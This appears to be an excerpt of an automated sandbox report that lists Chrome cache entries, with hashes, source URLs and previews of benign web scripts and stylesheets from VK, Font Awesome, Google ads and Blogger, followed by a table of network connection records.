Preview:	.(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[762],{442137:function(e,t,r){((e,t,r,n,o)=>{function a(e){return e&&"object"==typeof e&&"default"in e?e:{default:e}}function i(e,t,n,o){let a=[r.step.run({fn:e=>t(e)})];if(o&&a.unshift(o),n){let t=r.createNode({node:a}),o=e.graphite.id,i=n.additionalLinks,s=i[o]\|\|[];return i[o]=s,s.push(t),()=>{let e=s.indexOf(t);-1!==e&&s.splice(e,1),r.clearNode(t)}}{let t=r.createNode({node:a,parent:[e],family:{owners:e}});return()=>{r.clearNode(t)}}}function s(e,t){return t.displayName=e,t}function u(e,t){r.is.store(e)\|\|b("expect useStore argument to be a store");let o=v.default.useCallback((r=>i(e,r,t)),[e,t]),a=v.default.useCallback((()=>w(e,t)),[e,t]);return n.useSyncExternalStore(o,a,a)}function c(e,t){let o=r.is.unit(e),a={};o?a={unit:e}:"@@unitShape"in e?"function"==typeof e["@@unitShape"]?a=e["@@unitShape"]():b("expect @@unitShape to be a function"):a=e;let s=Array.isArray(a),u=v.default.useRef({stale:1,justSubscribed:0,scope:t}),[

Chrome Cache Entry: 352

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (41502), with no line terminators
Category:	dropped
Size (bytes):	41505
Entropy (8bit):	5.439692517427417
Encrypted:	false
SSDEEP:	768:CW215k9I/oMWxhT6d9mapOFif1IzzaJLfOAOfflg539/t4NzQu8nJqY2d36Tzc+Q:CpKyNtOmm0uUmZ8T7KJyRurTjL
MD5:	5FAD193D176E214F921634575EDC6668
SHA1:	490757A3AE002CDAF2F553917775F96E6500E075
SHA-256:	7DBE441D2FA03188314F1D2150185BDA9A5D84AAB1B090114251A1E4401E12AD
SHA-512:	08DFFED640D8429563793074F955224AC51B7552AC69340FAF43A194B0489004872C0939FB161E569ECD7DD7CE24D844396EB0EA2BD860F3239D0E035BF8616F
Malicious:	false
Reputation:	low
Preview:	."use strict";(self.webpackChunkvkwidgets=self.webpackChunkvkwidgets\|\|[]).push([[994],{38484:(t,e,s)=>{s.d(e,{browser:()=>i,browserFeatures:()=>c,mobPlatforms:()=>n,redirectToMVK:()=>d});s(26350),s(82499);var a=s(79983),o=s(61933);const r=navigator.userAgent.toLowerCase(),i={version:(r.match(/.+(?:me\|ox\|on\|rv\|it\|era\|opr\|ie\|edge)[\/: ]([\d.]+)/)\|\|[0,"0"])[1],opera:/opera/i.test(r)\|\|/opr/i.test(r),vivaldi:/vivaldi/i.test(r),amigo:/amigo.*mrchrome soc/i.test(r),msie:/msie/i.test(r)&&!/opera/i.test(r)\|\|/trident\//i.test(r)\|\|/edge/i.test(r),msie6:/msie 6/i.test(r)&&!/opera/i.test(r),msie7:/msie 7/i.test(r)&&!/opera/i.test(r),msie8:/msie 8/i.test(r)&&!/opera/i.test(r),msie9:/msie 9/i.test(r)&&!/opera/i.test(r),msie_edge:/edge/i.test(r)&&!/opera/i.test(r),mozilla:/firefox/i.test(r),yabrowser:/yabrowser/i.test(r),whale:/whale/i.test(r),chrome:/chrome/i.test(r)&&!/edge/i.test(r),safari:!/chrome/i.test(r)&&/webkit\|safari\|khtml/i.test(r),iphone:/iphone/i.test(r),ipod:/ipod/i.test(r),iphone4:/ip

Chrome Cache Entry: 353

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (27377)
Category:	downloaded
Size (bytes):	27592
Entropy (8bit):	4.836841501473697
Encrypted:	false
SSDEEP:	384:0fwu4Eyfd7PNRzAmReUtPAM0NuzwpmnWt:0YuqdNReUtPAM0v4E
MD5:	DA06DF503CED6EE507B5FB4FA0999F74
SHA1:	D10D67FFA9C263E24C43B1DF7FA3BA8F2DEE2C36
SHA-256:	236E285339A2A692E9491D356489CDF83513CFB1ADD049A0620123D644E47554
SHA-512:	4BB9F9B6715E2313BB4EE2405F48C4C215FB8F232A69C1D0269C2176D9E0528BCFBE91A99BCD7B0BD6696A1DE773979AADEAD29FA4D37D9A9780CABE70E18990
Malicious:	false
Reputation:	low
URL:	https://ka-f.fontawesome.com/releases/v6.4.2/css/free-v4-shims.min.css?token=4550a72113
Preview:	/!. Font Awesome Free 6.4.2 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). * Copyright 2023 Fonticons, Inc.. */.fa.fa-glass:before{content:"\f000"}.fa.fa-envelope-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-envelope-o:before{content:"\f0e0"}.fa.fa-star-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-star-o:before{content:"\f005"}.fa.fa-close:before,.fa.fa-remove:before{content:"\f00d"}.fa.fa-gear:before{content:"\f013"}.fa.fa-trash-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-trash-o:before{content:"\f2ed"}.fa.fa-home:before{content:"\f015"}.fa.fa-file-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-file-o:before{content:"\f15b"}.fa.fa-clock-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-clock-o:before{content:"\f017"}.fa.fa-arrow-circle-o-down{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-arrow-circle-o-dow

Chrome Cache Entry: 354

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1382)
Category:	dropped
Size (bytes):	17945
Entropy (8bit):	5.330388445341784
Encrypted:	false
SSDEEP:	384:AbnElW+CdYyqBFy9G/JtCHAOgRImVWsc5JZB:Ll3CdnqC9ct2A1ImVWsc5h
MD5:	3B071D5606CC1CF92AE307F5BDB4E540
SHA1:	E191068CC90E5489130489A1CF173FE50BBA28B8
SHA-256:	FF3DE130872FE0FB5B770DFA2BC9F0DAF8AB320403A34A60D089436F08D24F99
SHA-512:	8A1287D7528B2B65D61D6E0A639F2CBE5658AFC3EDB5E2AF9494E8CC876AA6C8060A55D3BD4AA85A0B3B82733E64F7F7A6B4A5F2597FD99FD37136A83A6BBCAD
Malicious:	false
Reputation:	low
Preview:	(function(){'use strict';function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var k=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ba(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var n=ba(this),p=typeof Symbol==="function"&&typeof Symbol("x")==="symbol",r={},u={};function w(a,b,c){if(!c\|\|a!=null){c=u[b];if(c==null)return a[b];c=a[c];return c!==void 0?c:a[b]}}.function x(a,b,c){if(b)a:{var d=a.split(".");a=d.length===1;var g=d[0],f;!a&&g in r?f=r:f=n;for(g=0;g<d.length-1;g++){var e=d[g];if(!(e in f))break a;f=f[e]}d=d[d.length-1];c=p&&c==="es6"?f[d]:null;b=b(c);b!=null&&(a?k(r,d,{configurable:!0,writable:!0,value:b}):b!==c&&(u[d]

Chrome Cache Entry: 355

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4006)
Category:	downloaded
Size (bytes):	155690
Entropy (8bit):	5.598981465792959
Encrypted:	false
SSDEEP:	3072:0oUApQJntnhFeCyBYWuODSDBVC8l4C7ld7jUzS5iV7la6hYIJRDX7NJqhoTDRsL0:0oUAp8tnhFeCyBYWuOD8TC8l4C7/7jUr
MD5:	6CFECB7E0FCAE618937BF2546830A308
SHA1:	EE510AE71B4D4C50FA7C1C8BF9A1882FF0D25B55
SHA-256:	CFA2CB8775D4C4B8EECA8AF0A94C59ABB620C2FB6875A1116169308A06696460
SHA-512:	BB7AB12B5DE68931997DDA23CB96F174C9FFA97D5B61C369C01BAAD707F86D9D0E9DB5C40DD09A6114997D613B2B72F18D8AE4C3C7F3AE0AD0CB330368C21BEB
Malicious:	false
Reputation:	low
URL:	https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5999781818075238
Preview:	(function(sttc){'use strict';var aa=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};function ba(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");} .var ca=ba(this),da=typeof Symbol==="function"&&typeof Symbol("x")==="symbol",ea={},fa={};function ha(a,b,c){if(!c\|\|a!=null){c=fa[b];if(c==null)return a[b];c=a[c];return c!==void 0?c:a[b]}} .function ia(a,b,c){if(b)a:{var d=a.split(".");a=d.length===1;var e=d[0],f;!a&&e in ea?f=ea:f=ca;for(e=0;e<d.length-1;e++){var g=d[e];if(!(g in f))break a;f=f[g]}d=d[d.length-1];c=da&&c==="es6"?f[d]:null;b=b(c);b!=null&&(a?aa(ea,d,{configurable:!0,writable:!0,value:b}):b!==c&&(fa[d]===void 0&&(a=Math.random()*1E9>>>0,fa[d]=da?ca.Symbol(d):"$jscp$"+a+"$"

Chrome Cache Entry: 356

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (41880)
Category:	dropped
Size (bytes):	365500
Entropy (8bit):	5.119318196509861
Encrypted:	false
SSDEEP:	1536:Iziw0LFD37svhb8KxktZ4pkd3yWX3MyKU4oVtS4+x+yXR0HOQ9El3/gg:I10VCxk9d3yWX354oVatXqHOQ9El3/gg
MD5:	98918D0696276A153033ABA329998196
SHA1:	C8CD428B69CDA206BFE2E8A0AA61573F60ABBBF8
SHA-256:	9262B159FB55ADE985D3932424FCD83ECBACF224AEC7ECF6EBFA84C212D66B5D
SHA-512:	8C509A6C7C0643F5671A036AE505CB0404895A8475B77A2F676DAA5EFB37D941AAA154418C2BB37D4593FDD259B6C5E2C225E540DF011AF3A1BB994B30074610
Malicious:	false
Reputation:	low
Preview:	window.navMap = {"<void>":["al_index.php",["index.css","dist\/web\/index.js"],0,0],"<other>":["al_profile.php",["page.css","dist\/web\/page.js"],0,0],"^404$":["not_found.php",[],0,{"enabled":"web_spa_not_found","client_only":"web_spa_not_found"}],"^a_bid_platform_([A-Za-z0-9_]+)$":["business-id.php",[],0,0],"public\\d+($\|\/)":["al_public.php",["public.css","page.css","dist\/web\/public.js","dist\/web\/page.js"],0,0],"public\\d+\\\/donut_levels$":["al_public.php",["public.css","page.css","dist\/web\/public.js","dist\/web\/page.js"],0,0],"public\\d+\\\/donut_levels\\\/\\d+$":["al_public.php",["public.css","page.css","dist\/web\/public.js","dist\/web\/page.js"],0,0],"public\\d+\\?act=market_group_services":["al_public.php",[],0,0],"public\\d+\\?act=(market_group_settings\|market_group_orders\|market_group_items\|market_group_payment\|market_group_delivery\|market_group_promocodes)":["al_public.php",[],0,{"enabled":"web_spa_router_market_settings","client_only":"web_spa_router_market_settings"}

Chrome Cache Entry: 357

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65533), with no line terminators
Category:	downloaded
Size (bytes):	338432
Entropy (8bit):	6.003898256606018
Encrypted:	false
SSDEEP:	6144:wObrUtbquJr4RPDYDsMy3zRF7lPxUr6sW9af8bUb9F:pgqGr4FcIMQFlBsT8bUbP
MD5:	E7BC5370C3E6A3DF4C5684513D82EC05
SHA1:	DE95602F5517444CB01FDD6DECA933E51FE1AF53
SHA-256:	7388EA4E20EFE92D33E2F39201C722C678C19FC779F0D3D796F7A45434B61FE5
SHA-512:	77B04752BA22C69EE980C4696E410B5F0DBE18F940FB8F3C61CDD7F2817695757832D625DC8338AA8DD0DB6B32E20EA975914CC2772379C5A8F4A2D73765FD61
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/css/al/fonts_cnt.c7a76efe.css
Preview:	.@font-face{font-family:"Roboto";font-style:normal;font-weight:400;src:url(data:font/woff2;base64,d09GMgABAAAAAPe0ABIAAAACgOQAAPdNAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGoREG4GkJByvaAZgAKVICEwJgzwRDAqHr2CG0kMSiWwBNgIkA6cIC5NGAAQgBYUYByAMgVtbT0eSqJtsm3q6rwuBRek2BKhTc6apxvUfwdbYZk9oeDm9oV94BnhOMOdAm88CmbdFnLLCYrP////////3JpXRrA1bCpzORF6EyMy8kBYYE4upz4IEyWNRRhVqsc5QNCRPJSiTOn0ztIIkzNjudHVPslgyo8TAfogWVcxQZ2CoZ7kapj6EmhpJczwB44H2pZ62O1TtmSRlCxnngFa5HA76EqjnZrotPdPFQiYeLIUJQV5aIgSBKF8F5+i7Yb1RES9xy73r7BtC0NpK2W814ZgqmcEdNszSeT9JVF/KQJQZnNHVhK6UA/QtuJ4gikckPBCZENGOKo8M0jGiYgezoBpRBkFN9MZgj9ICXYOBqlAnPx7CbZZpSo1uZ8UqvfgqinLFu85NuioD1K1Kr1zuNSFI5UGpSdvsRDHp4/zmajRkZsjkCdO1elG1Veb3G3mqfQhxmiRyzd93MTSWqPYvYIpgoSK6vJTJdiSLblttqmDlvlO5nmRqT2XRfQ5JyAocdF2NVpt6UdxVIi2UY3PfuXehfVoqpg3pVc67pxUIDXlqjzv4jc/uhN+OS1uo7FsfBdswRhsukqjizSsvWZD0J42SRKpZHjp5TSdmYiSpCEkZU5mYNmU0apq5rsp6CGwsnFYSELEXXyVrnSISGFVSqBglgK+QkdAqtZUZ+P3r7AlaG3/S/ihtKSQVoxTUUQycHEp0/YcF9aeyrNgroiF3fWsDVKSpNbIj51I3PfRDvdT4En+e/wen1n1fij0A4HbP

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	65
Entropy (8bit):	4.650698343858124
Encrypted:	false
SSDEEP:	3:YCMxvVVXDESURYidQRxTADUxXMcYU:YCM5VCHdExMDkcXU
MD5:	7898FEE32EE7F0968345F6919D6041ED
SHA1:	A86B7D91F9842C49F93632B712DD5B76074D093C
SHA-256:	E0840D679EE5C89CA2540EECA9BE1AFFF8D04633966DF344193E4A276CCF565C
SHA-512:	EB78D18E7979C5AD36FB2E163A14AAB6A3C8FC585058D684D71F35D50EF27B9BD86352F8C95C5203938AD0F627F0E5CF0D6AC1A45A2A35733CC70ECD41AD5B7F
Malicious:	false
Reputation:	low
URL:	https://my.rtmark.net/gid.js?userId=0080f52b8e41436deb287525cd342cae
Preview:	{"gid":"0080f52b8e41436deb287525cd342cae","skipSubscribe":false}.

Chrome Cache Entry: 359

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2853)
Category:	downloaded
Size (bytes):	90737
Entropy (8bit):	5.6102725331486445
Encrypted:	false
SSDEEP:	1536:jfCOczXNhE8qjZcN4bZyNa4dQwE15lvlmGEeFiR2YpHBkoAldcBqIZWEV:UzNhE8NkZ4a4+B15b9QHjKQZ
MD5:	C854B114DE8AA773046F868953C7018A
SHA1:	D10E7D10029A7A8EF0A32E806EB071E1D436657F
SHA-256:	D7558C6ABA81F4F00EC088A631F2EA63FC7E059935FBA44C3DF03B591629955B
SHA-512:	C88F340BA37C80F66040DEFC04857074B43769D04FCF0C43B86572B91B53A375ECF3D6E6F0D77A44670C8ABBBE26C653D9C7DA045D1DB8BA50AB38261D94DC1F
Malicious:	false
Reputation:	low
URL:	https://www.blogger.com/static/v1/widgets/2271878333-widgets.js
Preview:	(function (){ var g=encodeURIComponent,k=window,aa=Object,ba=Function,l=document,ca=isNaN,m=Math,da=Array,ea=Number,n=Error,fa=parseInt,ga=parseFloat,p=String,ha=decodeURIComponent;function ia(a,b){return a.onload=b}function ja(a,b){return a.width=b}function ka(a,b){return a.data=b}function la(a,b){return a.clear=b}function ma(a,b){return a.toString=b}function na(a,b){return a.position=b}function oa(a,b){return a.clone=b}function pa(a,b){return a.href=b}function qa(a,b){return a.contains=b}.function q(a,b){return a.display=b}function ra(a,b){return a.height=b}function sa(a,b){return a.onreadystatechange=b}function r(a,b){return a.innerHTML=b}function ta(a,b){return a.currentTarget=b}function ua(a,b){return a.left=b}function va(a,b){return a.type=b}function wa(a,b){return a.name=b}function xa(a,b){return a.zIndex=b}function ya(a,b){return a.visibility=b}function za(a,b){return a.length=b}function u(a,b){return a.className=b}function Aa(a,b){return a.target=b}.function Ba(a,b){return a.o

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1382)
Category:	downloaded
Size (bytes):	17945
Entropy (8bit):	5.330388445341784
Encrypted:	false
SSDEEP:	384:AbnElW+CdYyqBFy9G/JtCHAOgRImVWsc5JZB:Ll3CdnqC9ct2A1ImVWsc5h
MD5:	3B071D5606CC1CF92AE307F5BDB4E540
SHA1:	E191068CC90E5489130489A1CF173FE50BBA28B8
SHA-256:	FF3DE130872FE0FB5B770DFA2BC9F0DAF8AB320403A34A60D089436F08D24F99
SHA-512:	8A1287D7528B2B65D61D6E0A639F2CBE5658AFC3EDB5E2AF9494E8CC876AA6C8060A55D3BD4AA85A0B3B82733E64F7F7A6B4A5F2597FD99FD37136A83A6BBCAD
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/sodar/sodar2.js
Preview:	(function(){'use strict';function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var k=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ba(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var n=ba(this),p=typeof Symbol==="function"&&typeof Symbol("x")==="symbol",r={},u={};function w(a,b,c){if(!c\|\|a!=null){c=u[b];if(c==null)return a[b];c=a[c];return c!==void 0?c:a[b]}}.function x(a,b,c){if(b)a:{var d=a.split(".");a=d.length===1;var g=d[0],f;!a&&g in r?f=r:f=n;for(g=0;g<d.length-1;g++){var e=d[g];if(!(e in f))break a;f=f[e]}d=d[d.length-1];c=p&&c==="es6"?f[d]:null;b=b(c);b!=null&&(a?k(r,d,{configurable:!0,writable:!0,value:b}):b!==c&&(u[d]

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4279)
Category:	dropped
Size (bytes):	145622
Entropy (8bit):	5.54579798428338
Encrypted:	false
SSDEEP:	1536:mqJ3/aJF3n5W69MZ5KMep62S5WSJAJkcpVra09YAVAr6PEepgV6OruIOVe4D1mB+:QJF66/uLcV9Y0gjllGbUnbSw6jRqm
MD5:	A07AB2548BCED4C8B1431455CDD020CD
SHA1:	8AD54E7E2BA4DE4D1E7AFACA52306C0A81AE40AC
SHA-256:	B7F75B19ECC538A84719F23AC5693033D53AB02CE0C097D6B4D12B5E920A592E
SHA-512:	A82D5885CF2A5DCAF2FB532C04BD2F8B0DE093D0A57F08B9FD4DB0F8392406602B780B7F814AB0D86EB85B1ACFACD067E9D5F405BC2B6810D578CF2C3CAD3529
Malicious:	false
Reputation:	low
Preview:	(function(){/.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var aa="&action=",ba=".wikipedia.org",ca="SCRIPT",da="SPAN",ea="SW_READER_LIST_",fa="SW_READER_LIST_CLOSED_",ha="Share this post",ia="Symbol.dispose",ja="Symbol.iterator",ka="about:invalid#zClosurez",la="about:invalid#zSoyz",ma="bigint",na="block",oa="boolean",pa="click",qa="collapsed",ra="collapsible",sa="comment-editor",ta="commentId",ua="complete",va="contact-form-email",wa="contact-form-email-message",xa="contact-form-error-message",ya="contact-form-error-message-with-border",za="contact-form-name",.Aa="contact-form-submit",Ba="contact-form-success-message",Ca="contact-form-success-message-with-border",Da="data-height",Ea="displayModeFull",Fa="displayModeLayout",Ga="displayModeNone",l="div",Ha="dropdown-toggle",Ia="error",Ja="expanded",n="function",Ka="hidden",La="https:",Ma="layout-widget-description",Na="layout-widget-ti

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (608)
Category:	downloaded
Size (bytes):	823
Entropy (8bit):	5.083226149740297
Encrypted:	false
SSDEEP:	24:ekvPioGlU9sd033xLpxghnd0sH3xtpx2hnd0sQ3rpAhY:tvPioGysd7DDSDDjO
MD5:	DBF296002D53E56D340B105D9D764940
SHA1:	BFC98F20287B5F7A435766ADC779BD74C4CE4280
SHA-256:	0E81443469AA4B967191CE19B7474EB223746A2B8D5DC42D3786DA84D99DFAD9
SHA-512:	E65487EAC3039B7FF1DE5127E7862F42D183690F757F6DA409A319FA3EAC1A35E42FFF237B28D21E36717723492A5A41B23255F565FFB9FF5486395F18CB2836
Malicious:	false
Reputation:	low
URL:	https://ka-f.fontawesome.com/releases/v6.4.2/css/free-v5-font-face.min.css?token=4550a72113
Preview:	/!. Font Awesome Free 6.4.2 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). * Copyright 2023 Fonticons, Inc.. */@font-face{font-family:"Font Awesome 5 Brands";font-display:block;font-weight:400;src:url(../webfonts/free-fa-brands-400.woff2) format("woff2"),url(../webfonts/free-fa-brands-400.ttf) format("truetype")}@font-face{font-family:"Font Awesome 5 Free";font-display:block;font-weight:900;src:url(../webfonts/free-fa-solid-900.woff2) format("woff2"),url(../webfonts/free-fa-solid-900.ttf) format("truetype")}@font-face{font-family:"Font Awesome 5 Free";font-display:block;font-weight:400;src:url(../webfonts/free-fa-regular-400.woff2) format("woff2"),url(../webfonts/free-fa-regular-400.ttf) format("truetype")}

Chrome Cache Entry: 363

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (61366), with no line terminators
Category:	downloaded
Size (bytes):	61369
Entropy (8bit):	5.56137125328157
Encrypted:	false
SSDEEP:	768:Hw7seaKE4E7STCU7y5aqMfalj2w4FnWisJNjLsPMCj7uGaXLKRDj9LQ6X0KoAm4s:AscE4E6J7UvG/Z8zV9zLn+/2Xk9ivuGx
MD5:	1992C05E3DCBEBA8BAA783F4F343CABF
SHA1:	80503D2E589F6AD00FD4FDE8F9C006E59B329A9D
SHA-256:	B728B276F12869487330FB0D11BEDE21B725647E5F8B5510958F8782991BE796
SHA-512:	594360867E187A25774EA5AA29DFDB3481F70CA586CB62962E11CC8BF1AF7476924CF57142D732C88DFA079F1A037E332695EBB6FF6F2792FF3254213ADFB6AE
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/web/ui_common.07689f19.js
Preview:	.(()=>{"use strict";var __webpack_modules__={475653:(e,_,t)=>{t.d(_,{default:()=>h});var o=t(593159),i=t(972332),s=t(575753),n=t(754866),l=t(939646);function r(e){if(!this.inited)return!1;if(e\|\|(e=window.event),this.isHorizontal){const _=Math.floor((this.contWidth()-this.scrollWidth)Math.min(1,(e.screenX-this.moveX)/(this.scrollbarSize-this.innerWidth-6)));(0,o.isFunction)(this.options.onScroll)&&this.options.onScroll(this.obj.scrollLeft-_,this),this.obj.scrollLeft=_}else{const _=Math.floor((this.contHeight()-this.scrollHeight)Math.min(1,(e.screenY-this.moveY)/(this.scrollbarSize-this.innerHeight-6)));(0,o.isFunction)(this.options.onScroll)&&this.options.onScroll(this.obj.scrollTop-_,this),this.obj.scrollTop=_}return this.update(!0),!1}function a(){return!!this.inited&&(this.moveY=this.moveX=this.isDown=!1,this.isOut&&this.contOut(),(0,i.removeEvent)(document,"mousemove",this.mouseMove),(0,i.removeEvent)(document,"mouseup",this.mouseUp),(0,n.setStyle)(document.body,"cursor","defaul

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 15, 2024 00:39:37.112210035 CEST	49674	443	192.168.2.6	173.222.162.64
Oct 15, 2024 00:39:37.112210035 CEST	49673	443	192.168.2.6	173.222.162.64
Oct 15, 2024 00:39:37.440326929 CEST	49672	443	192.168.2.6	173.222.162.64
Oct 15, 2024 00:39:42.422394991 CEST	49711	443	192.168.2.6	40.113.103.199
Oct 15, 2024 00:39:42.422422886 CEST	443	49711	40.113.103.199	192.168.2.6
Oct 15, 2024 00:39:42.422485113 CEST	49711	443	192.168.2.6	40.113.103.199
Oct 15, 2024 00:39:42.423434973 CEST	49711	443	192.168.2.6	40.113.103.199
Oct 15, 2024 00:39:42.423449993 CEST	443	49711	40.113.103.199	192.168.2.6
Oct 15, 2024 00:39:43.234611988 CEST	443	49711	40.113.103.199	192.168.2.6
Oct 15, 2024 00:39:43.234700918 CEST	49711	443	192.168.2.6	40.113.103.199
Oct 15, 2024 00:39:43.237559080 CEST	49711	443	192.168.2.6	40.113.103.199
Oct 15, 2024 00:39:43.237565041 CEST	443	49711	40.113.103.199	192.168.2.6
Oct 15, 2024 00:39:43.237797022 CEST	443	49711	40.113.103.199	192.168.2.6
Oct 15, 2024 00:39:43.244461060 CEST	49711	443	192.168.2.6	40.113.103.199
Oct 15, 2024 00:39:43.244527102 CEST	49711	443	192.168.2.6	40.113.103.199
Oct 15, 2024 00:39:43.244530916 CEST	443	49711	40.113.103.199	192.168.2.6
Oct 15, 2024 00:39:43.244632959 CEST	49711	443	192.168.2.6	40.113.103.199
Oct 15, 2024 00:39:43.291404009 CEST	443	49711	40.113.103.199	192.168.2.6
Oct 15, 2024 00:39:43.423939943 CEST	443	49711	40.113.103.199	192.168.2.6
Oct 15, 2024 00:39:43.426487923 CEST	49711	443	192.168.2.6	40.113.103.199
Oct 15, 2024 00:39:43.426505089 CEST	443	49711	40.113.103.199	192.168.2.6
Oct 15, 2024 00:39:43.426640034 CEST	49711	443	192.168.2.6	40.113.103.199
Oct 15, 2024 00:39:43.669056892 CEST	49712	443	192.168.2.6	40.113.103.199
Oct 15, 2024 00:39:43.669095039 CEST	443	49712	40.113.103.199	192.168.2.6
Oct 15, 2024 00:39:43.669240952 CEST	49712	443	192.168.2.6	40.113.103.199
Oct 15, 2024 00:39:43.669779062 CEST	49712	443	192.168.2.6	40.113.103.199
Oct 15, 2024 00:39:43.669791937 CEST	443	49712	40.113.103.199	192.168.2.6
Oct 15, 2024 00:39:44.486388922 CEST	443	49712	40.113.103.199	192.168.2.6
Oct 15, 2024 00:39:44.486505985 CEST	49712	443	192.168.2.6	40.113.103.199
Oct 15, 2024 00:39:44.504720926 CEST	49712	443	192.168.2.6	40.113.103.199
Oct 15, 2024 00:39:44.504730940 CEST	443	49712	40.113.103.199	192.168.2.6
Oct 15, 2024 00:39:44.505557060 CEST	443	49712	40.113.103.199	192.168.2.6
Oct 15, 2024 00:39:44.600591898 CEST	49712	443	192.168.2.6	40.113.103.199
Oct 15, 2024 00:39:44.600591898 CEST	49712	443	192.168.2.6	40.113.103.199
Oct 15, 2024 00:39:44.600608110 CEST	443	49712	40.113.103.199	192.168.2.6
Oct 15, 2024 00:39:44.600765944 CEST	49712	443	192.168.2.6	40.113.103.199
Oct 15, 2024 00:39:44.647408009 CEST	443	49712	40.113.103.199	192.168.2.6
Oct 15, 2024 00:39:44.779881001 CEST	443	49712	40.113.103.199	192.168.2.6
Oct 15, 2024 00:39:44.780339956 CEST	49712	443	192.168.2.6	40.113.103.199
Oct 15, 2024 00:39:44.780339956 CEST	49712	443	192.168.2.6	40.113.103.199
Oct 15, 2024 00:39:44.780349970 CEST	443	49712	40.113.103.199	192.168.2.6
Oct 15, 2024 00:39:44.780443907 CEST	49712	443	192.168.2.6	40.113.103.199
Oct 15, 2024 00:39:45.722045898 CEST	49718	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:45.722099066 CEST	443	49718	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:45.722234011 CEST	49718	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:45.722666979 CEST	49718	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:45.722681046 CEST	443	49718	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:45.723138094 CEST	49719	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:45.723200083 CEST	443	49719	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:45.723256111 CEST	49719	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:45.723543882 CEST	49719	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:45.723566055 CEST	443	49719	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.212798119 CEST	443	49718	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.213109016 CEST	49718	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.213131905 CEST	443	49718	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.214334965 CEST	443	49719	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.214507103 CEST	49719	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.214519978 CEST	443	49719	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.214570999 CEST	443	49718	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.214641094 CEST	49718	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.215684891 CEST	49718	443	192.168.2.6	188.114.96.3
